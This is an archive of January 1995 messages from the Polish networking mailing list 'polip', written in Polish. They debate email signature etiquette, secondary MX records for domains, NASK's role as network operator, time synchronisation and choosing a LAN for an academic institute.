> Nie nudz, Krzysiu i nie wymadrzaj sie... Wszak jestes tylko Krzysiem i to
> akurat brzmi adekwatnie... :)
> Ciao,
> 
> Konio ;)
> 
A Ty jestes TYLKO Konio na dodatek nawet nigdy o Tobie nie slyszalem.
Anyway... uwazam, ze czas zakonczyc te glupawa i bezproduktywna
dyskusje.

						-Krzysio

--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 16:05:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13507; Mon, 16 Jan 95 16:01:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA20071 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 15:50:48 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 14:38:07 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: to MX or not to MX i jak?

Co sadzicie o MXach na domene? Czy jest w ogole sens je miec, a jezeli
tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? sunic-owi?

R.
PS. Przepraszam za bledny From: ostatnio. Powinno byc lepiej.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 16:05:13 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13510; Mon, 16 Jan 95 16:01:54 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20231 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 16:01:35 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 14:53:52 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501121556.aa28781@usctoux1.cto.us.edu.pl>, <3f5frm$dil@galaxy.uci.agh.edu.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
: : > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
: : > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
: : > : i Ministerstwo Lacznosci.
: : > 
: Co wiecej Nask to tylko uslugodawca, place i wymagam. 
: I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do
: sieci innego operatora).

Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy
do podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja
znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do
innego.

Jarek.

From krzysio@hebe.umcs.lublin.pl Mon Jan 16 16:20:31 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14621; Mon, 16 Jan 95 16:19:40 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: by hebe.umcs.lublin.pl (931110.SGI/930416.SGI)
	for polip@zsku.p.lodz.pl id AA02218; Mon, 16 Jan 95 16:21:59 +0100
From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
Message-Id: <9501161521.AA02218@hebe.umcs.lublin.pl>
Subject: Re: sygnatura Krzysia
To: polip@zsku.p.lodz.pl
Date: Mon, 16 Jan 1995 16:21:59 +0100 (MET)
In-Reply-To:  <9501160811.aa19328@usctoux1.cto.us.edu.pl> from "Maciek Uhlig" at Jan 16, 95 02:12:04 pm
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 3396      

Maciek Uhlig wrote:
> 
> Krzysztof Mlynarski wrote:
> > PS.
> > 	To chyba naprawde nie jest temat tej listy... :)
> 
> A jest, jest... Bo nie o to chodzi, aby odciac sobie automatycznie sig.
> Chodzi o to, ze etykieta sieciowa mowi, iz sig powinien miec maksimum
> 4 linie (moj ma 5, ale przezyjemy to do czasu, gdy bede mial okazje
> skrocic). Policz sobie, ile bajtow przesylaloby sie dodatkowo i zbednie
> przez linie, gdyby kazdy mail byl uzupelniany 1 kilobajtem sygnatury...
> A niektorzy (a wlasciwie wszyscy) placa za czytanie maili.

A gdyby wszyscy skakali w przepasc to juz by nie bylo ludzkosci.... :)
A tak zupelnie powaznie:

Obserwuje tlumy studentow w labach, ktorzy:
- sciagaja GIF'y z tzw. golymi panienkami,
- graja w MUD'y,
- IRCcuja (jak wiekszosc z nas),
- sciagaja pliki *.au, *aiff i inne tego typu....,
- przesylaja mase roznych innych smieci siecia dla zabawy itd.

Przy tym wszystkim, gdyby kazdy z nas mial sig'a o dlugosci 40 linii
(tyle ma okienko, w ktorym to pisze), to i tak stanowiloby to znikomy
procent obciazenia sieci w stosunku do tego, ktore powstaje w skutek
dzialalnosci setek tysiecy ludzi robiacych w Internecie to, co opisani
powyzej. Oprocz wymienionych... mamy jeszcze mase list dyskusyjnych o
zupelnie zabawowych tematach (np. chomor-l@archimedes.pol.lublin.pl, z
ktorej codziennie przychodzi kilkadziesiat - najczesciej bezsensownych i
dlugich listow).

A jesli chodzi o mnie prywatnie: naprawde nie naleze do osob stale
wysylajacych tony e-maili na listy dyskusyjne. Glownie czytam.... :)
Tak wiec i tak nie obciazam Ci mailbox'u za bardzo. Ostatnio sie ju
zawiele rozpisalem, ale to tylko dlatego, ze raptem, po paru miesiacach
moj SIG zaczal komus tam przeszkadzac, a inni dolaczyli sie do dyskusji,
dodatkowo kopiujac ten sig wielokrotnie - a wiec zgodnie z tym co
napisales takze obciazajac siec.
> 
> Maciek Uhlig
> 

						Pozdrawiam,
						    -Krzysio

> ----------------------------------------------------------------------
> Maciej UHLIG, Computer Center, Silesian University
>                           Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
> Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
>                                          Fax:   +48 (32) 596847 
> ***** Imagine all the people sharing all the world (John Lennon) *****
> 

--
+--------------------------------------------------------------------+
| E-mail:                                         IRC:               |
| krzysio@hebe.umcs.lublin.pl                         Krzysio        |
| krzysio@eleet.mimuw.edu.pl                                         |
| krzysio@posejdon.kul.lublin.pl                                     |
| krzysio@achir.kul.lublin.pl                                        |
| krzysio@adam.kul.lublin.pl                                         |
| krzysio@laplace.informatics.sunysb.edu          Radio:             |
| root@hebe.umcs.lublin.pl                            SQ5ASM         |
| root@cool.umcs.lublin.pl                                           |
| root@posejdon.kul.lublin.pl                                        |
|                                                                    |
|     "You can't kill ... what was killed before ..."                |
|                                     - unknown vampire              |
+--------------------------------------------------------------------+


From RAJ@inf.wsp.krakow.pl Mon Jan 16 17:55:44 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17779; Mon, 16 Jan 95 17:54:25 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id RAA22262 for <polip@zsku.p.lodz.pl>; Mon, 16 Jan 1995 17:59:58 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Mon, 16 Jan 95 17:53:52 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Mon, 16 Jan 95 17:53:37 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Mon, 16 Jan 1995 17:53:29 GMT+0100
Subject:       Big Sig (bylo: Re: Ustawianie czasu - nie na temat)
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <19F48E24C1@inf.wsp.krakow.pl>

> Date sent:      Sun, 15 Jan 95 23:54:58 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        Re: Ustawianie czasu - nie na temat

> A tak powaznie... MOJ sig jest MOJA prywatna sprawa i byloby milo,
> gdybys zajal sie czyms innym... np. odpoczynkiem w tak piekny zimowy
> wieczor.
> 
>                     Pozdrawiam,
>                        -Krzysio
> 
Zapewne taki stary sieciowy wyjadacz jak ty nie czytuje "Big Dummy's Guide to 
The Internet". Niemniej jednak zachecam cie do przeczytania z ww. pozycji 
rozdzialiku pt. "Big Sig". Odnosi sie on w bardzo rozsadny sposob m.in. do 
zagadnienia, na ile twoj sig jest twoja prywatna sprawa (w koncu wysylasz go 
do kogos, wiec chyba chcesz, zeby ktos go czytal; skoro doradzasz innym 
odcinanie siga, to po co w ogole go wysylasz?)
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From RAJ@inf.wsp.krakow.pl Mon Jan 16 18:11:49 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18698; Mon, 16 Jan 95 18:10:19 +0100
Return-Path: <RAJ@inf.wsp.krakow.pl>
Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA22476 for <polip@zsku.p.lodz.pl>; Mon, 16 Jan 1995 18:15:49 +0100
Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12);
    Mon, 16 Jan 95 18:09:44 GMT+0100
Received: from ~MAIL~ by INF (Mercury 1.12); Mon, 16 Jan 95 18:09:17 GMT+0100
From: "Jaroslaw Rafa" <RAJ@inf.wsp.krakow.pl>
Organization:  Zaklad Informatyki WSP, Krakow
To: polip@zsku.p.lodz.pl
Date:          Mon, 16 Jan 1995 18:09:09 GMT+0100
Subject:       Re: to MX or not to MX i jak?
Priority: normal
X-Mailer: Pegasus Mail v3.21
Message-Id: <1A3767634D@inf.wsp.krakow.pl>

> Date sent:      Mon, 16 Jan 95 16:10:37 +0100
> Send reply to:  polip@zsku.p.lodz.pl
> From:           rzm@dain.oso.chalmers.se (Rafal Maszkowski)
> To:             sfrafa@cyf-kr.edu.pl
> Subject:        to MX or not to MX i jak?
> Organization:   OSO

> Co sadzicie o MXach na domene? Czy jest w ogole sens je miec, a jezeli
> tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi? sunic-owi?
> 
Sorry, ale czegos tu nie rozumiem.
Na jaka domene te MX-y?
Pozdrowienia,
   Jaroslaw Rafa
   sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl
From news.polip@cyber.ict.pwr.wroc.pl Mon Jan 16 20:05:11 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20754; Mon, 16 Jan 95 20:01:48 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id TAA24361 for polip@zsku.p.lodz.pl; Mon, 16 Jan 1995 19:57:38 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 16 Jan 1995 18:43:02 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3feenm$t3n@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fe0cf$i5q@Waldemar.mat.uni.torun.pl>
Subject: to MX or not to MX i jak?

Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs
domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie),
a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi?
sunic-owi?

R.
PS. Przepraszam za bledny From: ostatnio. Powinno byc lepiej.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From myszka@norka.immt.pwr.wroc.pl Mon Jan 16 22:01:50 1995
Received: from ldhpux.immt.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA22281; Mon, 16 Jan 95 22:01:13 +0100
Return-Path: <myszka@norka.immt.pwr.wroc.pl>
Received: from ldscoux.immt.pwr.wroc.pl by ldhpux.immt.pwr.wroc.pl with SMTP
	(1.36.108.7/16.2) id AA07294; Mon, 16 Jan 1995 22:04:00 +0100
Received: from norka.immt.pwr.wroc.pl by ldscoux.immt.pwr.wroc.pl
	id aa03185; Mon, 16 Jan 95 22:04:00 MET
Received:  by norka.immt.pwr.wroc.pl (UUPC/extended 1.12k);
           Mon, 16 Jan 1995 21:43:15 +0100
Message-Id: <2f1ada63.norka@norka.immt.pwr.wroc.pl>
Date: Mon, 16 Jan 95 21:43:12 MET
From: Wojciech Myszka <myszka@norka.immt.pwr.wroc.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: to MX or not to MX i jak?
X-Mailer: ELM [version IBM-PC v2.1 PL63]

> Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs
> domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie),
> a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi?
> sunic-owi?
  ---
  Nie wiem czy dobrze zrozumialem pytanie:
  1. organizujemy w swojej domenie poczte w ten sposob, ze ukrywamy
     nazwe hosta we wszystkich (prawie??) przesylkach wychodzacych i
     wybieramy jeden komputer, ktory do odbioru poczty sluzy.
  2. Komputer ten wskazujemy za pomoca rekordu MX. (Zwracam uwage, ze
     mozna inaczej: definiujemy dla domeny rekord IN A! Tak dziala 
     znaczna czesc poczty w Internetowym swiecie.)
  I teraz pytanie: czy warto (trzeba) wskazac kolejne komputery MX-y
  dla tej domeny?

  Jak rozumiem dzialanie czesci programow wysylajacych poczte,
  dzialaja one tak:
  Gdy maja one wyslac list na adres user@cos.cos.cos w pierwszej
  kolejnosci zadaja pytanie o rekordy MX dla cos.cos.cos, jezeli
  znajda szereguja w kolejnosci priorytetow, gdy priorytety sa takie
  same wybieraja jakas inna strategie ulozenia ich w kolejnosci; gdy
  rekordow MX nie ma - pytaja o rekord IN A (IN CNAME ???) (stad
  niektore podreczniki do binda podpowiadaja ,,bylo by bardzo milo,
  gdyby dla kazdego komputera, ktory bedzie odbieral poczte
  zdefiniowac rekord MX; zaoszczedzi to pytan do nameda'').

  Zatem rekord MX pozwala zalatwic dwie sprawy: skierowac poczte na
  wymyslony adres (np. myszka@norka.immt.pwr.wroc.pl :-) nie zwiazany 
  z zadnym konkretnym komputerem podlaczonym do sieci na inny
  komputer, ktory potrafi cos z taka poczta zrobic; albo wskazac 
  komputery, ktore poczte potrafia przetrzymac (gdy wezel odbierajacy
  jest niedostepny z jakichs wzgledow).

  Jezeli jest tak jak rozumuje - to warto wskazywac na kilka
  komputerow, zwalnia to bowiem nadawce poczty z obowiazku trzymania 
  listu w kolejce przez kilka dni i przerzuca ten obowiazek na MX. 
  Ale mo to swoj sens. A kogo wskazywac jako MX? Wszystko jedno, byle 
  z sensem (komputer latwiej dostepny, rzadziej wylaczany...) i byle
  uzgodnic to z administratorem :-)

  Ale moze sie myle? i przepraszam za przynudzanie
  Wojtek

-- 
Wojciech A. Myszka                              tel: (+48 71) 51-48-58
                                                54-129 Wroclaw
                                                Drzewieckiego 18/11
From WIENCH@PLEARN.EDU.PL Mon Jan 16 22:26:50 1995
Received: from plearn.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA23126; Mon, 16 Jan 95 22:24:45 +0100
Return-Path: <WIENCH@PLEARN.EDU.PL>
Message-Id: <9501162124.AA23126@zsku.p.lodz.pl>
Received: from PLEARN.EDU.PL by plearn.edu.pl (IBM VM SMTP V2R1)
   with BSMTP id 6177; Mon, 16 Jan 95 22:26:42 CET
Received: from PLEARN.EDU.PL (NJE origin WIENCH@PLEARN) by PLEARN.EDU.PL (LMail V1.2a/1.8a) with BSMTP id 8778; Mon, 16 Jan 1995 22:26:42 +0200
Date:         Mon, 16 Jan 95 22:10:01 CET
From: WIENCH@plearn.edu.pl
Subject:      Palac Staszica - jaka siec lokalna wybrac?
To: polip@zsku.p.lodz.pl

Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica
(to jest to, co widac na starych 50.000 zl). Siec ma sluzyc
Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi
Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow
(wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami.
Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. Do tego
caly Palac dostal centrale ISDN (na razie ISDN bedzie tylko wewnatrz
po skretce telefonicznej z lat 50-tych). Do Palacu dociagnieto
juz swiatlowod z Uniwersytetu, ktory ma umozliwic dostep do Internetu
po zainstalowaniu bridge'a.
Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach?
Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera
czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom.
Czy mozna wykorzystac ISDN na potrzeby sieci?
Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
do pogodzenia z jakimkolwiek oprogramowaniem.
Bede wdzieczny za wszelkie rady.

                                               Piotr Wiench
II*****************************************II*************************II
II  Piotr  Wiench                          II  Internet:              II
II  Zaklad Teorii Kultury                  II  wiench@plearn.edu.pl   II
II  Instytut  Filozofii i  Socjologii  PAN II  Voice:+(48)(22)265231  II
II  Ul. Nowy Swiat 72,  PL-00-330 Warszawa II                   x 74  II
II                                         II  Fax:  +(48)(22)267181  II
II*****************************************II*************************II
From piotrwi Tue Jan 17 08:41:44 1995
Received:  by zsku.p.lodz.pl (5.65/25-eef)
	id AA02571; Tue, 17 Jan 95 08:38:16 +0100
Return-Path: <piotrwi>
Date: Tue, 17 Jan 1995 08:38:13 +0100 (MEZ)
From: Piotr Wilk <piotrwi@zsku.p.lodz.pl>
To: polip@zsku.p.lodz.pl
Subject: Re: to MX or not to MX i jak?
In-Reply-To: <3feenm$t3n@Waldemar.mat.uni.torun.pl>
Message-Id: <Pine.SCO.3.91.950117083707.2554C-100000@zsku.p.lodz.pl>
Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej
Address: 90-924 Lodz; ul. Stefanowskiego 18/22
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Czesc!

On Mon, 16 Jan 1995, Rafal Maszkowski wrote:
> Co sadzicie o definiowaniu drugiego i nastepnych MXow dla jakiejs
> domeny? Czy jest w ogole sens je dawac (spotkalem sie z opinia, ze nie),
> a jezeli tak to komu ta swoja poczte podsuwac? NASKowi? cocos-owi?
> sunic-owi?


Uwazam, ze tworzenie MX'ow ma sens w dwoch przypadkach:
1. ukrywanie nazwy komputera, tworzenie nieistniejacego adresu
2. w instytucjach gdzie jest 'scentralizowane' zarzadzanie siecia, 
przepychanie poczty przychadzacej do instytucji przez jeden komputer (ale 
stosowane z umiarem tzn zeby np. nie bylo sytuacji ze poczta do komputera 
w Lodzi idzie do niego z Lodzi przez USA ;-) ulatwia zarzadzanie siecia

Natomiast stosowanie MX'ow w innych przypadkach moze powodowac klopoty 
dla innych uzytkownikow lub administratorow Internetu. Dwa przyklady z zycia:

- lista dyskusyjna wysyla poczte do komputera przez MX. Komputer jest 
down. Poczta idzie do MX'a i tam czeka. Jezeli ruch na liscie jest duzy, 
a komputer jest down duzo dluzej niz trzy dni to postmaster na serwerze 
listy odbierze sobie niedostarczone listy z przynajmniej trzech dni. W 
swojej kolejce na pewno stojace listy zauwazylby wczesniej. Poza tym ma 
mozliwosc ich wywalenia z kolejki.

- przypadek wysylania pilnej poczty. Uzytkownik wysyla piny list. Robi 
sobie mailq. Kolejka pusta. List poszedl. OK ? Nie!!! Po trzech dniach 
lub dluzej list do niego wraca z MX'a. Gdyby MX'a nie bylo, po godzinie 
sprobowalby 'konwencjonalnej' lacznosci.

Jeszcze jedno:
wydaje mi sie, ze gdzies czytalem (sam bym tego nie wymyslil), ze zaleta 
Internetu jest to, ze komunikacja (powiedzmy w warstwie TCP) nastepuje 
tylko miedzy komputerami, ktore biara udzial w transmisji. Wyjasnie: 
t.zn. wysylam poczte i ona bezposrednio idzie do komputera przeznaczenia 
bez posrednika. Tak jest mniejsza szansa, ze posrednik z wlasnej winy ja 
zgubi. Dlaczego nie korzystac z tej zalety? Czy nie lepiej, zeby poczta 
czekala na komputerze, ktory ja wysyla i zeby nie pokonywala pol swiata, 
zeby wrocic do tego samego miasta?

Jakie moga byc zalety stosowania MX'ow?


Pozdrawiam,

                                   Piotrek

--
--------------------------------------------------------------
|                        Piotr Wilk                          |
|------------------------------------------------------------|
|     Samodzielny Zaklad      |  email:                      |
|     Sieci Komputerowych     |    piotrwi@zsku.p.lodz.pl    |
|    Politechniki Lodzkiej    |    piotrwi at plearn         |
--------------------------------------------------------------


From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 10:01:45 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04267; Tue, 17 Jan 95 10:01:40 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA05893 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 09:51:04 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 08:30:14 GMT
From: ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE (piotr pogorzelski)
Message-Id: <3ffv6m$862@galaxy.uci.agh.edu.pl>
Organization: Instytut Podstawowych Problemow Techiniki Warszawa
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501121556.aa28781@usctoux1.cto.us.edu.pl>, <3f5frm$dil@galaxy.uci.agh.edu.pl>, <3fe1a0$mkv@sun1000.ci.pwr.wroc.pl>
Reply-To: ppogorze@ippt.gov.pl
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekomunikacyjnego (fwd)

Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote:
: piotr pogorzelski (ppogorze@PROBLEM_WITH_INEWS_DOMAIN_FILE) wrote:
: : : > : Zrobmy cos wreszcie razem, aby wyzwolic sie spod kaganca starej ustawy
: : : > : o lacznosci, interpretowanej w wygodny dla siebie sposob przez NASK
: : : > : i Ministerstwo Lacznosci.
: : : > 
: : Co wiecej Nask to tylko uslugodawca, place i wymagam. 
: : I odmowic uslugi bez powodu tez chyba nie moze, (jak i podlaczenia do
: : sieci innego operatora).

: Hm... Jak sama nazwa wskazuje, NASK (Naukowo-Akademicka..) raczej nie sluzy
: do podlaczania wszystkich. I pewnie mialby ochote, zeby sie konkurencja
: znalazla, bo wtedy moglby zawsze powiedziec - nie podoba sie - to idzcie do
: innego.

: Jarek.
Nazwa rzeczywiscie ...bardzo ladna;-)
Ale ....
Tylko Nask przydziela w Polsce numery IP.
Wyscie na swiat jest tylko przez NASK.
W momencie powstania innej sieci szkiletowej
innego operatora, nie bedzie mogl odmowic
dolaczenia jej do swojej sieci. (sytuacja hipopetyczna
po wprowadzeniu w zycie ustawy o lacznosci) 
zrob finger @sam.nask.com.pl.

wiec nie ma co udawac, ze w tej chwili to tylko sieci akademickie.
Sam chcialbym aby Nask nie byl jedynym operatorem i dostawca IP. 
Bedzie ustawa, beda inne firmy dajace dostep do Internetu.
Chyba, ze w ustawie napiszemy, ze jest juz taka instytucja 
wiec innych nie potrzebujemy ;-)

I nie zapomne pomyslu utrudniania dostepu do internetu, bo
Nask wie lepiej co jest komu potrzebne. A i ruch w sieci
bedzie wtedy mniejszy.

pozdrowienia  :-)
piotr pogorzelski
From kokowski@CS.PUT.Poznan.PL Tue Jan 17 10:05:27 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04350; Tue, 17 Jan 95 10:03:26 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA03688; Tue, 17 Jan 95 10:06:53 +0100
Subject: Re: Ustawianie czasu
To: polip@zsku.p.lodz.pl
Date: Tue, 17 Jan 1995 09:53:05 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <9501160444.AA57034@acs7.acs.ucalgary.ca> from "Witold Owoc" at Jan 16, 95 05:47:16 am
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 757       
Message-Id:  <9501170953.aa03961@wega.ics.tup.edu.pl>

>      W srodowisku NFS gdy kilka osob pracuje nad tym samym
>      projektem utrzymanie zgodnego czasu jest bardzo istotne.
>      'make' moze dac rezultaty odmienne od zadanych lub
>      wogole nie dzialac.
>      A jesli chodzi o znalezienie komputerow z dokladnym czasem
>      na sieci w Polsce, to na pewno wszyscy astronomowie maja
>      swoje komputery ustawione wlasciwie - starczy zadzwonic do
>      najblizszego obserwatorium. Dla np. Poznania najblizszym
>      obserwatorium ze 'sluzba czasu' jest Astronomiczne
>      Obserwatorium Szerokosciowe PAN-u w Borowcu k. Kornika.
>
  Poznan bedzie mial takowy sygnal czasu z Borowca. Sygnal bedzie synchronizowal czas na serwerach sieci miejskiej i innych w sieciach lokalnych.

Tomasz Kokowski 
From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 11:01:46 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA06381; Tue, 17 Jan 95 11:01:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id KAA06843 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 10:51:55 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 09:47:53 GMT
From: jasiu@PROBLEM_WITH_INEWS_DOMAIN_FILE (Jasiu Barczynski)
Message-Id: <3fg3o9$87j@sunrise.pg.gda.pl>
Organization: Politechnika Gdanska
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Re: to MX or not to MX i jak?

Jestem za, a nawet przeciw...

MX na *.domena + SVR4.2 mail + komputer w .domena wysylajacy poczte
na nieistniejacego hosta (najlepiej gdy jeszcze definiuje "smarterhost"
ten sam, co rekord MX) tworzy mieszanke piorunujaca. DNS resolver
dopisuje nazwe domeny do nieistniejacego hosta, znajduje MX i pokornie
wysyla do niego bzdeta. SVR4.2 mail jest jeszcze o tyle lepszy, ze
w analogicznej sytuacji sie zapetla i tworzy naglowek idacy w megabajty:
az do zapchania dysku...

Mialem MX na *.domena, juz go nie mam...
	Jasiu Barczynski

From news.polip@cyber.ict.pwr.wroc.pl Tue Jan 17 12:41:47 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08479; Tue, 17 Jan 95 12:41:38 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id MAA08742 for polip@zsku.p.lodz.pl; Tue, 17 Jan 1995 12:32:00 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 17 Jan 1995 11:20:45 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fg96d$7td@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
